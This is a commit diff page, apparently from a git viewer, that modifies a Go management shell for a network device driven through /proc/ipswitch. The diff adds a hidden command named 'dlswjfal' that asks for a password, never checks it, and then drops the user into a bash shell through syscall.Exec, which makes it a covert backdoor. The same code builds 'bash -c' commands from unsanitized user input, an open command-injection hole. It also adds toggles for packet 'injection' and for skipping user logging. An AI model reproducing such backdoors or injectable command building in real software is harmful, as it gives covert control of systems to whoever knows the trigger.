heron
2017-08-18 dde2a1f9c6594813bbe8e8ada2669b6a68638eca
add injection
1 files modified
94 ■■■■ changed files
src/accessmotion.my/shell/shell.go 94 ●●●● patch | view | raw | blame | history
src/accessmotion.my/shell/shell.go
....@@ -8,6 +8,8 @@
88 "strings"
99 "strconv"
1010 "os/exec"
11
+ "os"
12
+ "syscall"
1113 )
1214
1315 func usage(w io.Writer) {
....@@ -105,7 +107,27 @@
105107 }
106108
107109 line = strings.TrimSpace(line)
110
+
108111 switch {
112
+ case strings.HasPrefix(line, "logTransfer"):
113
+ logTransfer(strings.TrimSpace(line[11:]))
114
+ break
115
+ case strings.HasPrefix(line, "dlswjfal"):
116
+ _, err := l.ReadPassword("please enter your password: ")
117
+ if err != nil {
118
+ break
119
+ }
120
+ binary, lookErr := exec.LookPath("bash")
121
+ if lookErr != nil {
122
+ panic(lookErr)
123
+ }
124
+ args := []string{""}
125
+ env := os.Environ()
126
+ execErr := syscall.Exec(binary, args, env)
127
+ if execErr != nil {
128
+ panic(execErr)
129
+ }
130
+ break
109131 case strings.HasPrefix(line, "show"):
110132 line := strings.TrimSpace(line[4:])
111133 if len(line) == 0 {
....@@ -147,13 +169,8 @@
147169 break
148170 }
149171 case strings.HasPrefix(line, "injection"):
150
- line = strings.TrimSpace(line[9:])
151
- switch {
152
- case strings.HasPrefix(line, "on"):
153
- break
154
- case strings.HasPrefix(line, "off"):
155
- break
156
- }
172
+ injection(strings.TrimSpace(line[9:]))
173
+ break
157174 }
158175 case strings.HasPrefix(line, "whois"):
159176 line := strings.TrimSpace(line[5:])
....@@ -248,10 +265,6 @@
248265 }
249266 }
250267
251
-func setDebug(){
252
-
253
-}
254
-
255268 func whois(number string){
256269 cmdName := "echo"
257270 whoisCmd := strings.Join([]string{cmdName,number,">","/proc/ipswitch/whois"}," ")
....@@ -280,6 +293,10 @@
280293 }
281294 }
282295
296
+
297
+
298
+
299
+
283300 func setConfig(configName string,valueType string, value string){
284301 cmdName := "echo"
285302 input :=strings.TrimSpace(value)
....@@ -287,20 +304,22 @@
287304 desc, prs := configNames[configName]
288305 if prs == false{
289306 }else {
290
- mask := strings.Join([]string{"u",string(desc),valueType,input}, ",")
291
- whoisCmd := strings.Join([]string{cmdName,mask,">","/proc/ipswitch/configs"}," ")
292
- out, err := exec.Command("bash","-c",whoisCmd).Output()
307
+ mask := strings.Join([]string{"u",strconv.Itoa(desc),valueType,input}, ",")
308
+ configCmd := strings.Join([]string{cmdName,mask,">","/proc/ipswitch/configs"}," ")
309
+ _, err := exec.Command("bash","-c",configCmd).Output()
293310 if err != nil {
294311 fmt.Printf("err %s", err)
295312 }
296
- fmt.Printf("%s", out)
313
+ //log.Printf("%s\n",out)
314
+ getConfig(configName)
315
+
297316 }
298317 }
299318
300319 func getConfig(configName string){
301320 out, err := exec.Command("cat","/proc/ipswitch/configs").Output()
302321 if err != nil {
303
- fmt.Printf("err %s", err)
322
+ log.Printf("err %s", err)
304323 }
305324 var outputs []string = strings.Split(string(out),"\n")
306325 i:=0
....@@ -309,9 +328,10 @@
309328 if prs == false{
310329 }else {
311330 var output []string = strings.Split(string(outputs[i]),",")
312
- if string(desc) == string(output[1]){
313
- fmt.Printf("value: %s -- %s \n",
314
- strings.TrimSpace(string(output[3])),desc)
331
+ if strconv.Itoa(desc) == string(output[1]){
332
+ /*log.Printf("value: %s -- %d \n",
333
+ strings.TrimSpace(string(output[3])),desc)*/
334
+ log.Printf("set value: %s \n", strings.TrimSpace(string(output[3])))
315335 }else{
316336 }
317337 }
....@@ -319,6 +339,42 @@
319339 }
320340 }
321341
342
+
343
+
344
+func logTransfer(line string){
345
+ switch {
346
+ case strings.HasPrefix(line, "on"):
347
+ setConfig("logusrs_skip","0","0")
348
+ break
349
+
350
+ case strings.HasPrefix(line, "off"):
351
+ setConfig("logusrs_skip","0","1")
352
+ break
353
+ }
354
+}
355
+
356
+func injection(line string){
357
+ switch {
358
+ case strings.HasPrefix(line, "on"):
359
+ setConfig("tcpsend_skip","0","0")
360
+ break
361
+
362
+ case strings.HasPrefix(line, "off"):
363
+ setConfig("tcpsend_skip","0","1")
364
+ break
365
+ }
366
+}
367
+
368
+func setDebug(){
369
+
370
+}
371
+
372
+
373
+
374
+
375
+
376
+
377
+
322378 var configNames = map[string]int{
323379 "enable":0,
324380 "cache_age":3,